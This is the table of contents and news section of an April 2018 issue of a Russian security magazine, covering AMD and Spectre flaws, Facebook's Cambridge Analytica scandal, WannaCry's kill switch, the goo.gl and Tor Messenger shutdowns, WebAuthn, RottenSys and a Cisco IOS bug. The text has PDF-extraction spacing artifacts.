


Апрель 2018

№ 229

CONTENTS
Всё новое за пос ледний месяц
MEGANEWS

Ис тория одно го про тивос тояния
РКН vs Telegram

Луч шие гай ды, биб лиоте ки и инс тру мен ты месяца
Дай джест Android

Те ория, кни ги, кур сы, полез ные матери алы
Ис кусс тво форен зики

Ис точни ки дан ных, поиск и ана лиз арте фак тов
Ис кусс тво форен зики

Вы бира ем дис три бутив и набор соф та для кри мина лис тичес кого ана лиза
Тул кит для форен зики

Как ошиб ка в кон фиге прев ратила полез ную ути литу в хакер ское ору жие
Memcached как средс тво для DoS

10 горячих док ладов с ИБ‐кон ферен ций
Не безо пас ность WebApp

Раз бира ем 10 прос тых рецеп тов соци аль ной инже нерии
Ору жие мас сового заб лужде ния

Как PRISM и BULLRUN извле кают информа цию из голосо вого потока
Прос лушка VoIP

Как работа ет новый метод «класть» сай ты на WordPress
Прес суем WordPress

Под борка полез ных хак‐тулз для сбо ра и ана лиза дан ных
X‐Tools

Пред ска зыва ем слу чай ные чис ла в умных кон трак тах Ethereum
Как обма нуть крип токази но

Ре вер сим и хака ем внеш ний накопи тель от Aigo
Хар дкор ный взлом самошиф рующе гося HDD

Под робно раз бира ем новую уяз вимость в Drupal
Дру пал геддон‐2

Вы бира ем дис три бутив с интегри рован ной защитой от слеж ки
ОС для ано ниму са

Ка кие дан ные о нас хра нит Google и как их вер нуть себе через Takeout
Вы носим всё!

Как унич тожить дан ные быс тро и без воз врат но
За мета ем сле ды

Го товим инс тру мен тарий и раз бира ем тон кости
Ис кусс тво уда лен ной отладки

Ин терес ные веб‐сер висы
WWW

Изо лиру ем про цес сы в Windows средс тва ми Less Privileged App Container
Сис темный изо лятор

Срав нение раз ных под ходов к написа нию раз деля емых струк тур
][‐прак тика: бес пощад ный буст мно гопо точ ного СРР‐кода

Пол ный раз бор задач и наг ражде ние победи телей от HackerU
За дачи на собесе дова ниях

Как про изво дите ли прев раща ют хорошую ОС в тор мозное необ новля емое убо жес тво
Пло хой Андро ид

Кто дела ет этот жур нал
Тит ры



http://ru.depositphotos.com/


 «Mifrill» Мария Нефёдова
nefedova@glc.ru

 

ЕЩЕ БОЛЬШЕ
ПРОБЛЕМ С
ПРОЦЕССОРАМИ
Но вые проб лемы AMD
В кон це мар та 2018 года   о три над цати кри‐ 
тичес ких  уяз вимос тях,  обна ружен ных  в  про цес сорах  AMD.  Проб лемы  были
поделе ны на четыре клас са: RyzenFall, MasterKey, Fallout и Chimera.

бы ла опуб ликова на информа ция

Из началь но  пред ста вите ли  изра иль ско го  стар тапа  CTS‐Labs  не  обна‐ 
родо вали никаких  тех ничес ких деталей об этих багах, а  ком панию AMD уве‐ 
доми ли об уяз вимос тях менее чем за сут ки до рас кры тия информа ции. Из‐за
это го  CTS‐Labs  под вер глась  жес ткой  кри тике  со  сто роны  ИБ‐сооб щес тва,
а некото рые экспер ты сна чала и вов се отка зались верить дан ным ком пании.

Но,  как  ока залось,  «тех ничес кий»  отчет  и  proof‐of‐concept  экс пло иты
для  опас ных  про цес сорных  уяз вимос тей  сущес тву ют.  В  ито ге  информа цию
об  уяз вимос тях  под твер дили  приз нанные  ИБ‐спе циалис ты,  вклю чая  ком‐ 
панию Check Point, гла ву ком пании Cymmetria Гади Эвро на (Gadi Evron), а так‐ 
же  гла ву  ком пании Trail  of Bits Дэна  Гви до  (Dan Guido).  Кро ме  того,  руково‐ 
дитель  CTS‐Labs  Илья  Лук‐Зиль бер ман  (Ilia  Luk‐Zilberman) 

, в  котором пояс нил позицию сво ей ком пании и рас ска зал,
почему  счи тает  невер ным  раз гла шение  под робнос тей  о  таких  проб лемах
и тем более откры тую пуб ликацию экс пло итов для них.

опуб ликовал
откры тое пись мо

Еще при мер но неделю спус тя пред ста вите ли AMD тоже 
, сооб щив, что завер шили изу чение дан ных об уяз вимос тях и экс пло иты.

вы нес ли свой вер‐ 
дикт

CTO ком пании AMD Марк Пей пер мастер (Mark Papermaster) рас ска зал, что
в целом инже неры AMD сог ласны с мне нием кол лег, которым так же довелось
изу чить экс пло иты CTS‐Labs и озна комить ся с тех ничес кими деталя ми багов.
Проб лемы  RyzenFall,  MasterKey,  Fallout  и  Chimera  вряд  ли  мож но  пос тавить
на одну сту пень с уяз вимос тями Meltdown и Spectre. Дело в том, что для экс‐ 
плу ата ции  багов  в  про цес сорах  AMD  ата кующий  дол жен  пред варитель но
ском про мети ровать сис тему и получить пра ва адми нис тра тора. В сущ ности,
най ден ные  спе циалис тами  CTS‐Labs  проб лемы  дей стви тель но  опас ны,
но  они  могут  исполь зовать ся  для  рас ширения  и  ухуд шения  ата ки,  но  не
в качес тве век тора для изна чаль ной ком про мета ции сис темы.

Пей пер мастер  пообе щал,  что  пат чи  для  всех  уяз вимос тей  (в  фор мате
обновле ния  для  BIOS)  вый дут  в  бли жай шее  вре мя,  одна ко  пока  ком пания
не называ ет кон крет ных сро ков. Под робнос ти при веде ны в таб лице ниже.

Таб лица уяз вимос тей

Сно ва Meltdown и Spectre
Кро ме  новых  проб лем,  спе циалис там  при ходит ся  по‐преж нему  занимать ся
и  ста рыми.  Так,  до  сих  пор  про дол жает ся  «эпо пея»  с  исправ лени ем  уяз‐ 
вимос тей Meltdown и Spectre, для щаяся с янва ря 2018 года.

В начале апре ля  ком пания  Intel    сво его
руководс тва по обновле нию мик рокодов, в котором приз нала, что устра нить
Meltdown и Spectre на всех про цес сорах все же не удас тся. Проб лема, в час‐ 
тнос ти, зак люча ется в уяз вимос ти Spectre вари ант 2 (CVE‐2017‐5715), которую
ока залось невоз можно испра вить в ряде про цес соров, выпущен ных при мер‐ 
но в 2007–2010 годах.

опуб ликова ла оче ред ной вари ант

В новой вер сии докумен та ста тус готов ности пат чей для Meltdown и Spec‐
tre  для  некото рых  про цес соров  изме нил ся  на  Stopped —  это  озна чает,  что
раз работ ка  «зап латок»  для  этих  про дук тов  была  прек ращена.  В  ком пании
пояс няют, что «пос ле тща тель ного изу чения мик роар хитек тур и фун кци ональ‐ 
ных воз можнос тей мик рокодов для дан ных про дук тов  Intel при няла решение
не  выпус кать  обновлен ные  мик рокоды  для  дан ных  решений  по  одной
или более при чине». Сами воз можные при чины так же были пре даны огласке:

ха рак терис тики  мик роар хитек туры  дела ют  невоз можной  прак тичес кую
импле мен тацию фун кций, поз воля ющих устра нить Spectre вари ант 2 (CVE‐
2017‐5715);

•

ог раничен ная, при обре таемая отдель но под дер жка ПО;•
сог ласно  дан ным,  получен ным  от  кли ентов,  боль шинс тво  этих  про дук тов
при меня ются в «зак рытых сис темах», сле дова тель но, веро ятность исполь‐ 
зования озна чен ных уяз вимос тей для них очень мала.

•

В ито ге ста тус Stopped получи ли пат чи для Bloomfield, Bloomfield Xeon, Clarks‐
field, Gulftown, Harpertown Xeon C0 и E0, Jasper Forest, Penryn/QC, SoFIA 3GR,
Wolfdale, Wolfdale Xeon, Yorkfield и Yorkfield Xeon. В новый спи сок вош ли мно‐ 
жес тво моделей  Xeons, Core,  Pentium, Celeron  и  Atom,  прак тичес ки  все,  что
про изво дила  Intel.  Боль шинс тво  про цес соров,  для  которых  раз работ ка
исправ лений ока залась невоз можной, были выпуще ны в 2007–2010 годах.

Нуж но отме тить, что вмес те с этим обно вил ся ста тус пат чей для семей ств
Arrandale,  Clarkdale,  Lynnfield,  Nehalem  и  Westmere.  Теперь,  сог ласно
докумен ту, эти исправ ления находят ся «в работе».

Пред ста вите ли  Intel  сооб щают,  что  в  нас тоящий  момент  ком пания  пол‐ 
ностью завер шила работу над пат чами для про цес соров, вышед ших за пос‐ 
ледние девять лет.

В  середи не  апре ля  ком пания  AMD,  в  свою  оче редь,  наконец  выпус тила
мик рокоды, исправ ляющие Spectre вари ант 2  (CVE‐2017‐5715). Теперь пат чи
пред став лены для про дук тов  вплоть до 2011  года  выпус ка  (до про цес соров
Bulldozer). Раз работ чики рас простра нили эти «зап латы» сре ди про изво дите‐ 
лей ПК и материн ских плат, что бы те вклю чили обновле ния в сос тав BIOS.

Ра нее  вся чес кую  помощь  в  рас простра нении  пат чей  про изво дите лям
пред ложила  ,  поэто му  в  рам ках  апрель ско го  втор ника
обновле ний был пред став лен пакет KB4093112 (пока толь ко для Windows 10).
В сос тав это го обновле ния вош ли пат чи ОС‐уров ня, которые так же соз даны
для поль зовате лей AMD и нап равле ны на устра нение Spectre вари ант 2.

ком пания  Microsoft

От мечу,  что  в  янва ре  текуще го  года  Microsoft  уже  пыталась  выпус тить
исправ ления, которые ока зали неожи дан ный эффект на про цес соры AMD (в
час тнос ти, серии Athlon 64 X2). Ока залось, что иног да пос ле уста нов ки пат чей
(а  имен но  KB4056892)  сис темы  на  базе  CPU  AMD  прос то  перес тают  заг‐ 
ружать ся, показы вают «синий экран смер ти» и так далее. В ито ге рас простра‐ 
нение  пат чей  экс трен но  при оста нови ли  и  лишь  спус тя  нес коль ко  недель
возоб новили,  устра нив  баги.  Инте рес но,  что  в  сос тав  нового
KB4093112 не вхо дят эти изна чаль ные январ ские пат чи, так что поль зовате лям
при дет ся уста нав ливать оба пакета.

В AMD так же под черки вают, что пол ное исправ ление уяз вимос тей в про‐ 
цес сорах  ком пании  тре бует  одновре мен но  уста нов ки мик рокодов,  получен‐ 
ных  от  про изво дите лей  железа,  и  уста нов ки  пат чей  для  опе раци онной  сис‐ 
темы.

ТОЛЬ КО   САЙ ТОВ В ИНТЕРНЕ ТЕ ИСПОЛЬ ЗУЮТ FLASH5%

Ана лити ки ком пании W3Tech сооб щили хорошую новость: доля исполь зования Flash в интерне‐ 
те про дол жает сни жать ся и в нас тоящее вре мя сос тавля ет лишь   (по срав нению с 
в 2011 году). Сто ит заметить, что речь идет об интерне те в целом, а не о мил лионе или десяти
тысячах самых посеща емых сай тов.

4,9% 28,5%

Вы воды W3Tech  под твержда ют  ста тис тику,  озву чен ную  ранее  инже нера ми  ком пании  Google.
Так, еще в фев рале 2018 года спе циалис ты сооб щали, что поль зовате ли Chrome стал кива ются
с Flash на   реже, чем в 2014 году. То есть в начале 2018 года таких слу чаев было лишь

.
80%

8%

ВСЕ НЕНАВИДЯТ
FACEBOOK
Cambridge Analytica
В  кон це мар та  2018  года  ком пания  Facebook  ока залась  в  цен тре 

. Ста ло извес тно, что нес коль ко лет назад бри тан ская ком пания
Cambridge  Analytica  сумела  заполу чить  информа цию  о  десят ках  мил лионов
поль зовате лей  Facebook  (без  их  ведома).  При чем  дан ные  собира ли
под видом про веде ния прос того опро са, для учас тия в котором нуж но было
вой ти  через  соци аль ную  сеть.  Отме чу,  что  изна чаль но  речь  шла  о  дан‐ 
ных 50 мил лионов человек, но поз же ста ло извес тно, что нас тоящее количес‐ 
тво пос тра дав ших — 87 мил лионов.

мас штаб‐ 
ного скан дала

Та ким  обра зом  было  «опро шено»  око ло  270  тысяч  человек,  но  в  те
далекие  вре мена  API  соци аль ной  сети  так же  поз волял  соб рать  дан ные
о  друзь ях  этих  поль зовате лей,  что  в  ито ге  и  при нес ло  «иссле дова телям»
информа цию  о  мил лионах  юзе ров.  Затем  эти  дан ные  были  исполь зованы
для  сос тавле ния  пси холо гичес ких  пор тре тов  и  раз работ ки  пер сонали зиро‐ 
ван ной рек ламы.

Так как основной век тор работы Cambridge Analytica — алго рит мы ана лиза
полити чес ких  пред почте ний  изби рате лей,  дан ные  учас тни ков  соци аль ной
сети были исполь зованы во вре мя десят ков изби ратель ных кам паний в раз‐ 
личных стра нах мира.

В ито ге Facebook обви нили в нап леватель ском отно шении к дан ным сво их
поль зовате лей,  халат ности и замал чивании слу чив шегося, а Cambridge Ana‐
lytica подоз рева ют едва ли не в свя зях со спец служ бами и вли янии на резуль‐ 
таты выборов  (в  том чис ле аме рикан ских). Весь мир в одно часье загово рил
о том, какая огромная ответс твен ность лежит на ком пани ях, с которы ми поль‐ 
зовате ли  сами  с  радостью  делят ся  сво ими  лич ными  дан ными.  И  какую
неверо ятную  цен ность  весь  этот  матери ал  пред став ляет  для  мар кетоло гов,
полито логов и мно гих дру гих заин тересо ван ных лиц.

Лишь  спус тя  нес коль ко  дней  пос ле  начала  скан дала  Facebook  прер вала
затянув шееся мол чание и Марк Цукер берг стал при носить изви нения от лица
всей ком пании. Одна ко это уже не оста нови ло мас совую акцию в соци аль ных
сетях,  которая  обза велась  «говоря щим»  хеш тегом  #deletefacebook.  Кам‐ 
панию  по  уда лению  учет ной  записи  в  соци аль ной  сети  под держа ли  мно гие
извес тные  лич ности,  вклю чая  Сти ва  Воз няка  (Steve  Wozniak),  соос новате ля
WhatsApp  Брай ана  Акто на  (напом ню,  что  WhatsApp  при над лежит  Facebook,
но Актон более не работа ет в ком пании) и даже Ило на Мас ка, который стер
из  Facebook  акка унты SpaceX и  Tesla. На  этом фоне на  Facebook ожи даемо
посыпа лись судеб ные иски, а акции ком пании зна читель но потеря ли в цене.

В середи не апре ля из‐за скан дала, раз разив шегося вок руг Cambridge An‐
alytica и Facebook, Марк Цукер берг даже выс тупал на слу шани ях в кон грес се
США  (перед  чле нами  тор гового  и  финан сового  комите тов).  Теперь
в  интерне те  сно ва шутят  о  том,  что Цукер берг — реп тило ид  или  робот,  а  в
кон грес се он про ходил тест Тьюрин га.

Слеж ка за юзе рами
По ка пер вые полосы СМИ во всем мире проч но занима ла исто рия Cambridge
Analytica, жур налис ты изда ния Ars Technica и ИБ‐иссле дова тели обна ружи ли,
что в рас поряже нии Facebook было куда боль ше их лич ных дан ных,  чем они
полага ли.

Де ло  в  том,  что,  ког да  кам пания  #deletefacebook  наб рала  популяр ность,
мно гие  спе циалис ты  ста ли  рекомен довать  поль зовате лям  перед  уда лени ем
учет ной  записи  Facebook  ска чать  архив  со  всей  сво ей  информа цией,  ведь
соци аль ная сеть пре дос тавля ет такую воз можность.

Вско ре в Сети начали появ лять ся мно гочис ленные сооб щения от людей,
которые  пос тупили  имен но  так  и  с  удив лени ем  обна ружи ли  в  получен ных
архи вах метадан ные обо всех звон ках, SMS и MMS за пос ледние нес коль ко
лет. Архи вы содер жали име на кон тактов, телефон ные номера, про дол житель‐ 
ность звон ков, даты и так далее.

При мер метадан ных

Ког да жур налис ты Ars Technica обра тились за пояс нени ями к пред ста вите лям
Facebook,  в  ком пании  отве тили,  что  клю чевая  осо бен ность  при ложе ний
и сер висов Facebook — это уста нов ление свя зей меж ду поль зовате лями, что‐ 
бы тем было лег че отыс кать нуж ных людей. Для это го во вре мя пер вого вхо да
в мес сен джин говое или соци аль ное при ложе ние у поль зовате ля зап рашива‐ 
ют раз решение на дос туп к кон тактам, хра нящим ся в телефо не, при чем поль‐ 
зователь  может  отка зать ся  сра зу  или  поз же  уда лить  заг ружен ные  кон такты
через бра узер. Оче вид но, кон такты игра ют важ ную роль в работе алго рит ма
рекомен дации дру зей.

Вско ре  уда лось разоб рать ся и  в  том,  почему мно гие поль зовате ли даже
не  подоз ревали  о  том,  что  выдали  Facebook  все  необ ходимые  раз решения
для слеж ки за самим собой. Как ока залось, проб лема кос нулась толь ко поль‐ 
зовате лей Android‐при ложе ний.

Вы ясни лось, что лишь в пос леднее вре мя при ложе ния Messenger и Face‐
book  Lite  ста ли  оче вид ным  обра зом  пре дуп реждать  поль зовате лей  о  сво ем
намере нии  получить  дос туп  к  логам  SMS  и  жур нала  вызовов.  На  ста рых
устрой ствах,  со  ста рыми  вер сиями  Android  (нап ример,  4.1  —  Jelly  Bean)
на  бор ту,  само  раз решение  на  дос туп  к  кон тактам  устрой ства  так же  под‐ 
разуме вало дос туп к логам сооб щений и вызовов. Хуже того, в редак ции Ars
Technica  приш ли  к  выводу,  что,  даже  ког да  раз работ чики  Android  поменя ли
струк туру  работы  раз решений  и  внес ли  изме нения  в  Android  API,  раз работ‐ 
чики  Facebook  нароч но  про дол жили  исполь зовать  ста рую  вер сию,  что  поз‐ 
воляло им получать дос туп к информа ции о звон ках и SMS, откры то не уве‐ 
дом ляя об этом поль зовате лей.

В  ответ  на  под нявший ся  в  СМИ  шквал  новых  обви нений  (на  этот  раз
в слеж ке за поль зовате лями с не сов сем ясны ми намере ниями) пред ста вите‐ 
ли Facebook опуб ликова ли офи циаль ное сооб щение. В нем ком пания вновь
под чер кну ла,  что  все  раз решения  Android‐при ложе ниям  поль зовате ли  пре‐ 
дос тавля ли  исклю читель но  доб роволь но,  понимая,  что  дела ют.  Так же  под‐ 
черки валось, что кон такты, исто рию звон ков и сооб щений, которы ми человек
«поделил ся»  с  Facebook,  мож но  уда лить.  Пред ста вите ли  Facebook  вновь
отме тили, что соб ранная информа ция исполь зовалась для того, что бы «поль‐ 
зовате ли мог ли оста вать ся на свя зи с людь ми, которые им небез различ ны»,
а так же метадан ные яко бы помога ли улуч шать опыт вза имо дей ствия с соци‐ 
аль ной сетью.

Ин терес но, что жур налис ты Ars Technica оспа рива ют эти заяв ления. Изда‐ 
ние  при води ло  в  при мер  сра зу  нес коль ко  исто рий  поль зовате лей,  которые
уве ряют, что никог да не давали при ложе ниям Facebook раз решение на дос‐ 
туп  к  логам  вызовов  и  сооб щений,  не  получа ли  оче вид ных  уве дом лений
об этом и даже не подоз ревали о  такой активнос ти со сто роны соци аль ной
сети.

Bug bounty
Так  как  одних  изви нений  за  слу чив шееся  было  опре делен но  недос таточ но,
пред ста вите ли Facebook пообе щали, что не прос то «зак рутят гай ки» для сто‐ 
рон них  при ложе ний,  исполь зующих API  соци аль ной сети  (эти обе щания  уже

),  но  так же  рас ширят  свою  прог рамму  воз награж дения
за уяз вимос ти, что бы поощ рить поль зовате лей и экспер тов искать приз наки
потен циаль ного зло упот ребле ния дан ными (data abuse).

час тично  сдер жали

10 апре ля 2018 года bug bounty прог рамма Facebook дей стви тель но 
, и теперь люди, обна ружив шие прес ловутый data abuse в сто рон‐ 

нем  при ложе нии,  могут  получить  за  это  воз награж дение  в  раз мере
до  40  тысяч  дол ларов.  При чем  пред ста вите ли  соци аль ной  сети  пишут,
что 40 тысяч — это не мак симум, в осо бо слож ных слу чаях раз мер воз награж‐ 
дения может быть уве личен.

бы ла
обновле на

Под сло восо чета нием «зло упот ребле ние дан ными» под разуме вает ся, что
при ложе ние  собира ет  дан ные  поль зовате лей  Facebook,  которые  затем
переда ются  треть им  сто ронам,  где  информа ция  может  быть  переп родана,
похище на, исполь зована с целью мошен ничес тва или получе ния полити чес‐ 
кого вли яния.

Пред ста вите ли Facebook сооб щают, что, если факт зло упот ребле ния дан‐ 
ными  будет  под твержден,  работа  при ложе ния‐наруши теля  будет  прек‐ 
ращена. Так же соци аль ная сеть оставля ет за собой пра во обра тить ся со всей
соб ранной  информа цией  в  пра воох ранитель ные  орга ны  или  суд,  если
это будет необ ходимо.

WANNACRY ВСЕ ЕЩЕ УГРО ЖАЕТ МИЛ ЛИОНАМ КОМПЬ ‐
ЮТЕ РОВ
Спе циалис ты ком пании Kryptos Logic пре дуп режда ют, что угро за от шиф роваль щика WannaCry
по‐преж нему сущес твен на. Имен но в этой ком пании работа ет ИБ‐спе циалист Мар кус Хат чинс
(Marcus Hutchins),  более  извес тный  под  псев донимом MalwareTech.  Это  его  ста рани ями  эпи‐ 
демию WannaCry   в мае 2017 года.уда лось оста новить

Тог да  Хат чинс  нашел  в  коде  вре доно са  ава рий ный  «стоп‐кран»:  ока залось,  что
перед  началом  работы  мал варь  обра щает ся  к  домену 

, про веряя, сущес тву ет ли он. Если домен не зарегис три рован,

мал варь начина ет шиф ровать фай лы. Одна ко если домен сущес тву ет, вымога тель оста нав лива‐ 
ет про цесс зараже ния. MalwareTech зарегис три ровал домен и, по сути, оста новил рас простра‐ 
нение WannaCry.

iuqerfsodp9ifjaposdfjhgo‐
surijfaewrwergwea.com

По дан ным Kryptos Logic, око ло    обра щений  к  домену  «стоп‐кра ну» было обна‐ 
руже но в одном толь ко мар те 2018 года.

100 000 000

Об ращения к «ава рий ному» домену исхо дили с   уни каль ных IP‐адре сов.2 700 000
 

Ос новная  при чина  мил лионов  до  сих  пор  активных  зараже ний  —  это  отсутс твие  пат ча
,  выпущен ного  Microsoft  еще  в  мар те  2017  года.  Патч  устра няет  «дыры»  в  SMB,

которые экс плу ати рует WannaCry. Ниже при веде ны при меры сце нари ев, при которых WannaCry
пред став ляет опас ность для малого биз неса и круп ных ком паний.

MS17‐010

GOO.GL И TOR MES‐
SENGER ВСЁ
Goo.gl
Пред ста вите ли ком пании Google анон сирова ли ско рое прек ращение работы
сер виса  для  сок ращения  ссы лок  goo.gl,  запущен ного  в  далеком  2009  году.
Раз работ чики  пишут,  что  с  тех  пор  утек ло  мно го  воды,  на  рын ке  появи лось
мно жес тво ана логич ных про ектов, а потом мобиль ные устрой ства, голосо вые
ассистен ты  и  при ложе ния  вооб ще  изме нили  интернет  до  неуз нава емос ти.
По  мне нию  Google,  в  нас тоящее  вре мя  в  сер висе  для  сок ращения  ссы лок
боль ше нет нуж ды.

С  13  апре ля  2018  года  ком пания  начала  исполь зовать  вмес то  goo.gl
«интеллек туаль ные»,  динами чес кие  ссыл ки  Firebase  (Firebase  Dynamic  Links,
FDL).  Так же  пос ле  ука зан ной  даты  ано ним ные  и  новые  поль зовате ли  более
не  могут  соз давать  новые  ссыл ки  goo.gl.  В  качес тве  аль тер нативы  Google
пред ложила исполь зовать уже упо мяну тый Firebase или услу ги сер висов Bitly
и Ow.ly.

Кон соль  goo.gl  будет  дос тупна  зарегис три рован ным  поль зовате лям,  уже
име ющим корот кие ссыл ки, до 30 мар та 2019 года. По исте чении это го сро ка
сущес тву ющие ссыл ки про дол жат перенап равлять поль зовате лей по нуж ному
адре су, одна ко дос туп к кон соли и добав ление новых URL будут зак рыты. То
есть миг раци ей на новый API при дет ся оза ботить ся заранее.

Tor Messenger
По хожее сооб щение появи лось в этом месяце и в офи циаль ном бло ге раз‐ 
работ чиков Tor Project. Было объ явле но о прек ращении раз работ ки ано ним‐ 
ного  мес сен дже ра  Tor  Messenger,  который 
в 2015 году. К сожале нию, за про шед шее вре мя про ект так и не сумел вый ти
из  ста дии  бета‐тес тирова ния.  В  сво ем  сооб щении  раз работ чики  под робно
объ ясни ли,  почему  это  про изош ло,  и  перечис лили  доводы  в  поль зу  прек‐ 
ращения раз работ ки.

был  пред став лен  пуб лике

Из началь но  пла ниро валось,  что  Tor  Messenger  пре дос тавит  поль зовате‐ 
лям  более  защищен ный  кросс‐плат формен ный  канал  для  обще ния,  чья
безопас ность реали зова на за счет того, что весь тра фик мес сен дже ра про‐ 
ходит через Tor, а так же за счет OTR‐шиф рования. Напом ню, что мес сен джер
под держи вал Jabber (XMPP), IRC, Google Talk, Facebook, Twitter и так далее.

Раз работ чики  полага ли,  что  Tor  Messenger  будет  исполь зовать ся
как  средс тво  для  обще ния  через  уже  сущес тву ющие  соци аль ные  сети  и  IM.
И  хотя  модель  работы  кли ент‐сер вер  пред полага ет,  что  метадан ные  поль‐ 
зовате лей все же мог ли осе дать на сто рон них сер верах, прос ледить их путь
до сер вера, а так же разоб рать ся в зашиф рован ных пос редс твом OTR сооб‐ 
щени ях было бы опре делен но труд но.

Хо тя раз работ чики пишут, что сама идея, лежащая в осно ве Tor Messenger,
по‐преж нему видит ся им разум ной и «рабочей», 11 бета‐вер сий спус тя раз‐ 
работ ку все же решено было прек ратить. В бло ге наз ваны три основные при‐ 
чины, по которым это решение было при нято.

Во‐пер вых, Tor Messenger был пос тро ен на базе кли ента Instantbird, неког‐ 
да соз данно го сооб щес твом Mozilla. К сожале нию, раз работ ка это го про екта
была  прек ращена  в  2017  году,  хотя  часть  фун кций  переко чева ла
в Thunderbird.

Во‐вто рых,  проб лема  метадан ных,  которые  все  же  сох раня ются  на  сто‐ 
рон них сер верах, ока залась более зна читель ной, чем пред полага лось изна‐ 
чаль но,  и  с  этим  раз работ чики  Tor  Messenger  ничего  сде лать  не  мог ли.
К  сожале нию,  третьи  лица  по‐преж нему мог ли  выявить шаб лоны  поведе ния
поль зовате лей,  и  метадан ных  впол не  хва тает,  что бы  понять,  с  кем  имен но
обща ется человек и как час то.

В‐треть их, раз работ чики приз нают ся, что у них поп росту не хва тило ресур‐ 
сов. Даже пос ле 11 выпущен ных вер сий Tor Messenger по‐преж нему находил‐ 
ся на ста дии бета‐тес тирова ния и никог да не про ходил внеш ний аудит (толь‐ 
ко  два  внут ренних).  Пред ста вите ли  Tor  Project  приз нали,  что  из‐за  нех ватки
людей  им  при ходи лось  игно риро вать  пожела ния  поль зовате лей  и  даже
баг‐репор ты, что опре делен но не шло про екту на поль зу.

Пос ле  прек ращения  раз работ ки  Tor  Messenger  поль зовате лям,  которым
все же важ на при ват ность и защита ком муника ций, рекомен дуют озна комить‐ 
ся  с  темати чес ким    Фон да  элек трон ных  рубежей.  Тем  поль‐ 
зовате лям,  которым  нужен  имен но  XMPP,  раз работ чики  совету ют  обра тить
вни мание на CoyIM.

цик лом  ста тей

→«Поль зовате ли  пре дос тавля ют  все  под робнос ти  сво ей жиз ни  Facebook,  и...  исполь зуя  это,
Facebook зараба тыва ет огромные день ги на рек ламе. Все их при были базиру ются на информа‐ 
ции поль зовате лей, но сами поль зовате ли не получа ют вза мен никакой выгоды. Apple дела ет
день ги на хороших про дук тах, а не на вас. А в слу чае с Facebook, как при нято говорить, про‐ 
дукт — это вы»
— Стив Воз няк о том, почему он уда лил свой акка унт с Facebook

АУТЕНТИФИКАЦИЯ
БЕЗ ПАРОЛЕЙ
Кон сорци ум  W3C  (World  Wide  Web  Consortium,  «Кон сорци ум  Все мир ной
паути ны») и аль янс FIDO (Fast IDentity Online) начали работу над Web Authenti‐
cation (WebAuthn) еще в 2015 году. Напом ню, что дан ный API поз воля ет поль‐ 
зовате лям  вхо дить  в  Google,  Facebook,  Dropbox,  GitHub  и  так  далее
при помощи аппа рат ных клю чей YubiKey.

На  базе  FIDO  2.0 Web  API  был  раз работан WebAuthn,  который  обла дает
более широки ми воз можнос тями и в теории поз воля ет отка зать ся от исполь‐ 
зования паролей вооб ще. Так, WebAuthn пред лага ет исполь зовать для аутен‐ 
тифика ции на сай тах и в при ложе ниях аппа рат ные клю чи, отпе чат ки паль цев,
рас позна вание лиц, ска ны радуж ной обо лоч ки гла за и про чую биомет рию.

FIDO 2.0 Authentication

Сво еоб разным «ком пань оном» WebAuthn ста нет про токол Client to Authentica‐
tor (Client  to Authenticator Protocol, CTAP). Как сле дует из наз вания, основная
роль  CTAP  —  это  уста нов ление  свя зи  меж ду  бра узе ром  и  сто рон ней  сис‐ 
темой аутен тифика ции,  к при меру NFC или USB‐клю чом, ска нером отпе чат‐ 
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АУТЕНТИФИКАЦИЯ
БЕЗ ПАРОЛЕЙ
Кон сорци ум  W3C  (World  Wide  Web  Consortium,  «Кон сорци ум  Все мир ной
паути ны») и аль янс FIDO (Fast IDentity Online) начали работу над Web Authenti‐
cation (WebAuthn) еще в 2015 году. Напом ню, что дан ный API поз воля ет поль‐ 
зовате лям  вхо дить  в  Google,  Facebook,  Dropbox,  GitHub  и  так  далее
при помощи аппа рат ных клю чей YubiKey.

На  базе  FIDO  2.0 Web  API  был  раз работан WebAuthn,  который  обла дает
более широки ми воз можнос тями и в теории поз воля ет отка зать ся от исполь‐ 
зования паролей вооб ще. Так, WebAuthn пред лага ет исполь зовать для аутен‐ 
тифика ции на сай тах и в при ложе ниях аппа рат ные клю чи, отпе чат ки паль цев,
рас позна вание лиц, ска ны радуж ной обо лоч ки гла за и про чую биомет рию.

FIDO 2.0 Authentication

Сво еоб разным «ком пань оном» WebAuthn ста нет про токол Client to Authentica‐
tor (Client  to Authenticator Protocol, CTAP). Как сле дует из наз вания, основная
роль  CTAP  —  это  уста нов ление  свя зи  меж ду  бра узе ром  и  сто рон ней  сис‐ 
темой аутен тифика ции,  к при меру NFC или USB‐клю чом, ска нером отпе чат‐ 
ков  паль цев  в  смар тфо не  или  ноут буке.  Спе циалис ты  W3C  объ ясня ют,  что
для обес печения работос пособ ности новой аутен тифика цион ной схе мы оба
API дол жны работать сооб ща.

Так как Google, Microsoft и Mozilla уже объ яви ли, что 
, ожи дает ся, что под дер жка WebAuthn API появит ся в Chrome, Edge и Firefox

в самом ско ром вре мени. Так, WebAuthn зарабо тает в Chrome 67 и Firefox 60,
чей релиз зап ланиро ван при мер но на май 2018 года.

под держат раз работ‐ 
ку

Ожи дает ся,  что  эта  раз работ ка  поможет  защитить  поль зовате лей
от фишин га,  краж паролей и даже атак  типа  «человек посере дине»  (man‐in‐
the‐middle).  Ведь  ИБ‐спе циалис ты  дав но  приш ли  к  выводу,  что  исполь‐ 
зование паролей вряд ли мож но наз вать хорошей прак тикой.

 СМАР ТФО НОВ С ПРЕ ДУС ТАНОВ ЛЕННОЙ МАЛ ‐
ВАРЬЮ
5 000 000

Спе циалис ты Check  Point  рас ска зали  о  круп ном  бот нете,  сос тоящем  из    Android‐
устрой ств.  Все  гад жеты  зараже ны  вре доно сом  RottenSys,  который  акти вен  как  минимум
с 2016 года.

4 964 460

RottenSys встре чает ся в основном на китай ском рын ке и рас простра няет ся сов мес тно с китай‐ 
ски ми  при ложе ниями  (Google  Play  Store  не  работа ет  в  Китае,  и  боль шинс тво  поль зовате лей
уста нав лива ют при ложе ния из сто рон них катало гов). Неуди витель но, что зараже ны ока зались
пре иму щес твен но популяр ные в Под небес ной гад жеты.

Поч ти  полови на  этих  устрой ств  рас простра нялись  через  китай скую  ком панию  Tian  Pai  —
это  поз воля ет  пред положить,  что  некий  инсай дер  или  груп па  инсай деров  уста нав ливали
на смар тфо ны заражен ные RottenSys при ложе ния. И это про исхо дило еще до того, как гад жеты
пос тупали в про дажу.

ЦИСКИ ПОД АТАКОЙ
В начале апре ля   информа ция о кри тичес кой уяз вимос ти
CVE‐2018‐0171, которую обна ружи ли в сос таве Cisco IOS Software и Cisco IOS
XE Software. Проб лема наб рала 9,8 бал ла по шка ле CVSS.

бы ла опуб ликова на

